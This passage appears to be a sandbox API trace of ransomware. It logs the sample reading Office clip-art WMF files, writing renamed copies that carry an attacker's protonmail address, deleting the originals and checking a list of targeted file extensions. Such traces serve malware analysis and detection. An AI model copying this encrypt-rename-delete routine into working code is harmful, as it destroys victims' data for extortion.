	[0207.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.769] GetLastError () returned 0x0
	[0207.769] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0208.170] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0208.183] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.183] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.183] SetEndOfFile (hFile=0x388) returned 1
	[0208.183] CloseHandle (hObject=0x388) returned 1
	[0208.183] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.183] SetEndOfFile (hFile=0x384) returned 1
	[0208.184] CloseHandle (hObject=0x384) returned 1
	[0208.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.185] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0208.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.186] lstrlenW (lpString=".doc") returned 4
	[0208.186] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString=".docx") returned 5
	[0208.186] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.186] lstrlenW (lpString=".pdf") returned 4
	[0208.186] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString=".xls") returned 4
	[0208.186] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.186] lstrlenW (lpString=".xlsx") returned 5
	[0208.186] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.186] lstrlenW (lpString=".ppt") returned 4
	[0208.186] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.186] lstrlenW (lpString=".zip") returned 4
	[0208.186] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.186] lstrlenW (lpString=".rar") returned 4
	[0208.186] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString=".bz2") returned 4
	[0208.186] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString=".7z") returned 3
	[0208.186] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.186] lstrlenW (lpString=".dbf") returned 4
	[0208.186] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString=".1cd") returned 4
	[0208.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString=".jpg") returned 4
	[0208.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString=".doc") returned 4
	[0208.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString=".docx") returned 5
	[0208.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.187] lstrlenW (lpString=".pdf") returned 4
	[0208.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString=".xls") returned 4
	[0208.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.187] lstrlenW (lpString=".xlsx") returned 5
	[0208.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.187] lstrlenW (lpString=".ppt") returned 4
	[0208.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString=".zip") returned 4
	[0208.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.187] lstrlenW (lpString=".rar") returned 4
	[0208.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString=".bz2") returned 4
	[0208.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString=".7z") returned 3
	[0208.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.187] lstrlenW (lpString=".dbf") returned 4
	[0208.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.188] lstrlenW (lpString=".1cd") returned 4
	[0208.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68
	[0208.188] lstrlenW (lpString=".jpg") returned 4
	[0208.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.188] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.188] lstrlenW (lpString="HH00636_.WMF") returned 12
	[0208.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.188] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=1568) returned 1
	[0208.188] CloseHandle (hObject=0x384) returned 1
	[0208.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220
	[0208.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.189] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.189] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.190] GetLastError () returned 0x0
	[0208.190] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x620, lpOverlapped=0x0) returned 1
	[0208.191] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x630, lpOverlapped=0x0) returned 1
	[0208.192] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.192] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.193] SetEndOfFile (hFile=0x388) returned 1
	[0208.193] CloseHandle (hObject=0x388) returned 1
	[0208.193] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.193] SetEndOfFile (hFile=0x384) returned 1
	[0208.194] CloseHandle (hObject=0x384) returned 1
	[0208.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.194] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0208.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.194] lstrlenW (lpString=".doc") returned 4
	[0208.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.194] lstrlenW (lpString=".docx") returned 5
	[0208.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.195] lstrlenW (lpString=".pdf") returned 4
	[0208.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString=".xls") returned 4
	[0208.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.195] lstrlenW (lpString=".xlsx") returned 5
	[0208.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.195] lstrlenW (lpString=".ppt") returned 4
	[0208.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString=".zip") returned 4
	[0208.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.195] lstrlenW (lpString=".rar") returned 4
	[0208.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString=".bz2") returned 4
	[0208.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString=".7z") returned 3
	[0208.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString=".dbf") returned 4
	[0208.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString=".1cd") returned 4
	[0208.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString=".jpg") returned 4
	[0208.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.195] lstrlenW (lpString=".doc") returned 4
	[0208.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.195] lstrlenW (lpString=".docx") returned 5
	[0208.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.196] lstrlenW (lpString=".pdf") returned 4
	[0208.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString=".xls") returned 4
	[0208.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.196] lstrlenW (lpString=".xlsx") returned 5
	[0208.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.196] lstrlenW (lpString=".ppt") returned 4
	[0208.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.196] lstrlenW (lpString=".zip") returned 4
	[0208.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.196] lstrlenW (lpString=".rar") returned 4
	[0208.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString=".bz2") returned 4
	[0208.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString=".7z") returned 3
	[0208.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.196] lstrlenW (lpString=".dbf") returned 4
	[0208.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.196] lstrlenW (lpString=".1cd") returned 4
	[0208.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0208.196] lstrlenW (lpString=".jpg") returned 4
	[0208.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.196] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.196] lstrlenW (lpString="HH00669_.WMF") returned 12
	[0208.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.197] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=11490) returned 1
	[0208.197] CloseHandle (hObject=0x384) returned 1
	[0208.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220
	[0208.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.197] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0208.198] GetLastError () returned 0x0
	[0208.198] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x2ce2, lpOverlapped=0x0) returned 1
	[0208.199] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0208.200] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.201] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.201] SetEndOfFile (hFile=0x388) returned 1
	[0208.201] CloseHandle (hObject=0x388) returned 1
	[0208.201] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.201] SetEndOfFile (hFile=0x384) returned 1
	[0208.202] CloseHandle (hObject=0x384) returned 1
	[0208.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString=".doc") returned 4
	[0208.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString=".docx") returned 5
	[0208.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.203] lstrlenW (lpString=".pdf") returned 4
	[0208.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString=".xls") returned 4
	[0208.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.203] lstrlenW (lpString=".xlsx") returned 5
	[0208.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.203] lstrlenW (lpString=".ppt") returned 4
	[0208.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString=".zip") returned 4
	[0208.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.203] lstrlenW (lpString=".rar") returned 4
	[0208.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString=".bz2") returned 4
	[0208.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString=".7z") returned 3
	[0208.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString=".dbf") returned 4
	[0208.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString=".1cd") returned 4
	[0208.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.203] lstrlenW (lpString=".jpg") returned 4
	[0208.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString=".doc") returned 4
	[0208.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString=".docx") returned 5
	[0208.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.204] lstrlenW (lpString=".pdf") returned 4
	[0208.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString=".xls") returned 4
	[0208.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.204] lstrlenW (lpString=".xlsx") returned 5
	[0208.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.204] lstrlenW (lpString=".ppt") returned 4
	[0208.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString=".zip") returned 4
	[0208.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.204] lstrlenW (lpString=".rar") returned 4
	[0208.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString=".bz2") returned 4
	[0208.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString=".7z") returned 3
	[0208.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString=".dbf") returned 4
	[0208.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString=".1cd") returned 4
	[0208.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0208.204] lstrlenW (lpString=".jpg") returned 4
	[0208.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.205] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.205] lstrlenW (lpString="HH00681_.WMF") returned 12
	[0208.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.205] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=9300) returned 1
	[0208.205] CloseHandle (hObject=0x384) returned 1
	[0208.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220
	[0208.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0208.205] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.206] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
